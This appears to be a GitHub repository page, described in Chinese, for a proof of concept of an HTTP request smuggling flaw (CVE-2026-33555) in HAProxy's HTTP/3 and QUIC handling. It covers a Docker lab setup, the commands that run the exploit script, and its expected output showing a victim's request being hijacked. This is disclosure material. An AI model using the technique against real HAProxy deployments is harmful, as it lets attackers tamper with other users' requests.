r3verii/CVE-2026-33555

GitHub: r3verii/CVE-2026-33555

揭示 HAProxy QUIC/H3 中的零字节请求走私漏洞,演示如何通过畸形 FIN 包跨用户劫持请求。

Stars: 0 | Forks: 0

# 通过 HAProxy H3/QUIC 独立 FIN 报文体验证旁路实现的 HTTP 请求走私 ## 摘要 HAProxy HTTP/3 实现中的一个漏洞允许攻击者发送一个带有 `Content-Length` 头的 HTTP 请求,该头的值与实际报文体大小不匹配。HAProxy 会将这个畸形请求通过 HTTP/1.1 转发到后端,并使用声明的 `Content-Length` 但报文体字节数为零。当后端发送一个早期响应(例如 301 重定向)并从 TCP 连接中读取待处理的报文体时,它会消耗属于**下一个** HTTP 请求的字节——这些字节可能来自不同的用户。 这导致通过 HAProxy 的后端连接池实现**跨用户 HTTP 请求走私**。 **受影响**:启用 QUIC/H3 支持的 HAProxy(`USE_QUIC=1`)。测试于 HAProxy 3.0.18。 **所需配置**:`http-reuse always`(非默认配置,但在生产环境中常见) ### 实验环境搭建 包含 3 个服务的 Docker Compose 配置: - **haproxy**:H3/QUIC 前端(端口 10002/udp)+ H2/TCP(端口 10002/tcp),后端连接池(`http-reuse always`) - **nginx**:启用 `autoindex on` 的 nginx 1.27,`/photos` 目录提供文件列表,`/status` 返回 200 - **client**:运行 aioquic 的 Python 容器 ### 步骤 ``` # 1. Start the lab (HAProxy build takes ~10 min first time) cd poc/ docker compose up -d --build # 2. Run the PoC in continuous mode docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3 # 3. From a browser, navigate to https://:10002/status # (accept self-signed cert, use --ignore-certificate-errors in Chrome) # Refresh repeatedly. ~50% of responses will be 400 Bad Request. # 4. Stop the PoC (Ctrl+C). All browser responses return to normal (200). ``` ### 单次验证 ``` docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once ``` 预期输出: ``` [1] Sending poison request (H3/QUIC)... -> 301 received. Backend connection pooled with pending body drain. [2] Waiting 0.5s for HAProxy to pool the connection... [3] Sending victim GET /status from SEPARATE QUIC connection... -> Response: HTTP 400 [!] SMUGGLING CONFIRMED [!] Victim on separate connection got 400 instead of 200 [!] Backend parsed victim's request as body of poison POST ```
标签:aioquic, Docker Compose, FIN体验证绕过, H3, HAProxy, HTTP/3, HTTP请求走私, PoC, QUIC, SEO关键词, 内容长度混淆, 前端协议不同, 协议混淆, 后端连接池, 暴力破解, 版权保护, 网络安全漏洞, 请求走私, 跨用户攻击, 逆向工具, 零字节QUIC包